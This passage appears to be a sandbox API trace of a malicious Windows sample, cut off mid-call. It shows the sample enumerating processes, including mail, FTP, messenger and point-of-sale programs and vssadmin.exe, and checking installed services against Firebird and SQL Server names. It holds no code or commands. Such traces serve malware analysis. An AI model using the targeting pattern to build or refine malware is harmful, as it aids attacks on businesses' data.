Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.127] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0075.127] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.128] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0075.128] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.129] lstrlenW (lpString="icq.exe") returned 7 [0075.129] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.130] lstrlenW (lpString="leechftp.exe") returned 12 [0075.130] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0075.131] lstrlenW (lpString="ncftp.exe") returned 9 [0075.132] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0075.133] lstrlenW (lpString="notepad.exe") returned 11 [0075.133] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0075.134] lstrlenW (lpString="operamail.exe") returned 13 [0075.134] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0075.136] lstrlenW (lpString="pidgin.exe") returned 10 [0075.136] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0075.138] lstrlenW (lpString="scriptftp.exe") returned 13 [0075.138] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0075.139] lstrlenW (lpString="skype.exe") returned 9 [0075.139] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0075.141] lstrlenW (lpString="smartftp.exe") returned 12 [0075.141] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0075.142] lstrlenW (lpString="thunderbird.exe") returned 15 [0075.142] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0075.144] lstrlenW (lpString="totalcmd.exe") returned 12 [0075.144] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.474] lstrlenW (lpString="trillian.exe") returned 12 [0076.474] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.476] lstrlenW (lpString="webdrive.exe") returned 12 [0076.476] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.478] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.478] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.480] lstrlenW (lpString="winscp.exe") returned 10 [0076.480] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.481] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.481] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.483] lstrlenW (lpString="active-charge.exe") returned 17 [0076.483] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.485] lstrlenW (lpString="accupos.exe") returned 11 [0076.485] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.487] lstrlenW (lpString="afr38.exe") returned 9 [0076.487] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.488] lstrlenW (lpString="aldelo.exe") returned 10 [0076.489] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.490] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.490] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.492] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.492] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.493] lstrlenW (lpString="creditservice.exe") returned 17 [0076.493] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.495] lstrlenW (lpString="edcsvr.exe") returned 10 [0076.495] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.497] lstrlenW (lpString="fpos.exe") returned 8 [0076.497] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.499] lstrlenW (lpString="isspos.exe") returned 10 [0076.499] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.500] lstrlenW (lpString="mxslipstream.exe") returned 16 [0076.500] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.502] lstrlenW (lpString="omnipos.exe") returned 11 [0076.502] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.504] lstrlenW (lpString="spcwin.exe") returned 10 [0076.504] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.506] lstrlenW (lpString="spgagentservice.exe") returned 19 [0076.506] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.942] lstrlenW (lpString="utg2.exe") returned 8 [0076.942] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0076.944] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0076.944] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0076.946] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0076.946] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0076.947] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0076.947] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0076.949] lstrlenW (lpString="achieve.exe") returned 11 [0076.949] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0076.950] lstrlenW (lpString="harvard.exe") returned 11 [0076.951] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.952] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.952] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.954] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.954] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.956] lstrlenW (lpString="taskhost.exe") returned 12 [0076.956] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0076.958] lstrlenW (lpString="mdskkv.exe") returned 10 [0076.958] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.960] lstrlenW (lpString="cmd.exe") returned 7 [0076.960] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.961] lstrlenW (lpString="conhost.exe") returned 11 [0076.961] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0076.963] lstrlenW (lpString="vssadmin.exe") returned 12 [0076.963] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0076.964] CloseHandle (hObject=0x1f8) returned 1 [0076.965] Sleep (dwMilliseconds=0x1f4) [0077.688] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0077.689] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0077.690] GetLastError () returned 0xea [0077.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x3ee1068 [0077.690] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ee1068, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ee1068, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0077.691] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0077.691] lstrlenW (lpString="Appinfo") returned 7 [0077.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0077.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0077.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0077.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0077.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0077.692] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0077.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.692] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0077.692] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0077.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0077.692] lstrlenW (lpString="AudioSrv") returned 8 [0077.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0077.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0077.692] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0077.692] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0077.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0077.692] lstrlenW (lpString="BFE") returned 3 [0077.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0077.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0077.692] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0077.693] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0077.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0077.693] lstrlenW (lpString="CryptSvc") returned 8 [0077.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0077.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0077.693] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0077.693] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0077.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0077.693] lstrlenW (lpString="CscService") returned 10 [0077.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0077.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0077.693] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0077.693] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0077.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0077.693] lstrlenW (lpString="DcomLaunch") returned 10 [0077.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.694] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0077.694] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0077.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0077.694] lstrlenW (lpString="Dhcp") returned 4 [0077.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0077.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0077.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0077.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0077.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0077.694] lstrlenW (lpString="Dnscache") returned 8 [0077.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0077.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0077.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0077.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0077.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0077.694] lstrlenW (lpString="DPS") returned 3 [0077.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0077.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0077.695] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0077.695] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0077.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0077.695] lstrlenW (lpString="eventlog") returned 8 [0077.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0077.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0077.695] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0077.695] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0077.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0077.695] lstrlenW (lpString="EventSystem") returned 11 [0077.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0077.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0077.695] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0077.695] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0077.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0077.696] lstrlenW (lpString="gpsvc") returned 5 [0077.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0077.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0077.696] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0077.696] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0077.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0077.696] lstrlenW (lpString="iphlpsvc") returned 8 [0077.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.696] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0077.696] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0077.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0077.696] lstrlenW (lpString="LanmanServer") returned 12 [0077.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0077.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0077.696] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0077.697] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0077.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0077.697] lstrlenW (lpString="LanmanWorkstation") returned 17 [0077.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.697] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0077.697] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0077.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0077.697] lstrlenW (lpString="lmhosts") returned 7 [0077.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0077.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0077.697] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0077.697] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0077.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0077.697] lstrlenW (lpString="MMCSS") returned 5 [0077.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0077.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0077.698] lstrcmpiW 